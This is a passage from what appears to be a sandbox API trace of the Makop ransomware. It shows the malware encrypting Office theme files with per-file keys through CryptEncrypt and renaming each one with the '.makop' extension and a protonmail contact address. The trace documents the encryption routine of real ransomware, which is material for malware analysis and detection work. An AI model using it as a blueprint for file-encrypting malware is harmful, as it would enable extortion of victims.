hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.511] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.512] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.512] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.512] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe19, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe19, lpOverlapped=0x0) returned 1 [0161.512] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0161.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.512] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0161.512] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.512] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.513] SetEndOfFile (hFile=0xf0) returned 1 [0161.519] GetProcessHeap () returned 0x48a0000 [0161.519] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.519] GetProcessHeap () returned 0x48a0000 [0161.519] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.520] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0161.520] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Urban.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\urban.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.522] CloseHandle (hObject=0xf0) returned 1 [0161.522] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0161.522] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml") returned 74 [0161.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.523] GetProcessHeap () returned 0x48a0000 [0161.523] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.523] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.523] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.524] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0161.527] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.527] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.527] GetProcessHeap () returned 0x48a0000 [0161.528] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.528] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a90*=0x30) returned 1 [0161.528] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.528] WriteFile (in: hFile=0xf0, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0161.528] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.528] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.528] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.528] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.528] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.529] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.529] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.529] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.529] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe14, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe14, lpOverlapped=0x0) returned 1 [0161.529] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0161.529] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.529] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0161.529] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.529] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.530] SetEndOfFile (hFile=0xf0) returned 1 [0161.536] GetProcessHeap () returned 0x48a0000 [0161.537] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.537] GetProcessHeap () returned 0x48a0000 [0161.537] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.537] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0161.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Verve.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\verve.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.538] CloseHandle (hObject=0xf0) returned 1 [0161.538] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0161.538] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml") returned 77 [0161.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.539] GetProcessHeap () returned 0x48a0000 [0161.539] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.539] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.540] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.540] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0161.543] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.544] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.544] GetProcessHeap () returned 0x48a0000 [0161.544] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.544] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.544] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.544] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.544] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.544] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.544] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.545] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.545] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.545] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.545] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.545] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.545] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdf9, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xdf9, lpOverlapped=0x0) returned 1 [0161.545] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe00, dwBufLen=0xe00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe00) returned 1 [0161.545] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.546] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe00, lpOverlapped=0x0) returned 1 [0161.546] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.546] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.546] SetEndOfFile (hFile=0xf0) returned 1 [0161.554] GetProcessHeap () returned 0x48a0000 [0161.554] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.554] GetProcessHeap () returned 0x48a0000 [0161.554] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.554] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0161.554] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Waveform.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\waveform.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.556] CloseHandle (hObject=0xf0) returned 1 [0161.556] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0161.556] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0161.556] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="TREK~1.THM")) returned 1 [0161.556] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx") returned 62 [0161.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.557] GetProcessHeap () returned 0x48a0000 [0161.557] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.557] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.558] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0161.558] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0161.562] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0161.562] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.562] GetProcessHeap () returned 0x48a0000 [0161.562] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.562] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0161.562] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0161.562] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0161.562] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0161.562] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0161.563] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0161.563] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0161.563] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0161.563] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0161.563] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.563] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.563] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2a23c, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x2a23c, lpOverlapped=0x0) returned 1 [0161.567] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x2a240, dwBufLen=0x2a240 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x2a240) returned 1 [0161.569] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.569] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2a240, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x2a240, lpOverlapped=0x0) returned 1 [0161.570] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0161.571] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2a304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.571] SetEndOfFile (hFile=0x124) returned 1 [0161.580] GetProcessHeap () returned 0x48a0000 [0161.580] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.580] GetProcessHeap () returned 0x48a0000 [0161.580] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.580] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0161.580] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Trek.thmx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\trek.thmx.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.585] CloseHandle (hObject=0x124) returned 1 [0161.585] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36de5100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xfc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.thmx", cAlternateFileName="URBAN~1.THM")) returned 1 [0161.585] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx") returned 63 [0161.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Urban.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\urban.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0161.586] GetProcessHeap () returned 0x48a0000 [0161.586] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.587] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.587] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0161.587] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0161.587] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.587] GetProcessHeap () returned 0x48a0000 [0161.587] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0161.587] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0161.587] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0161.587] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0161.591] 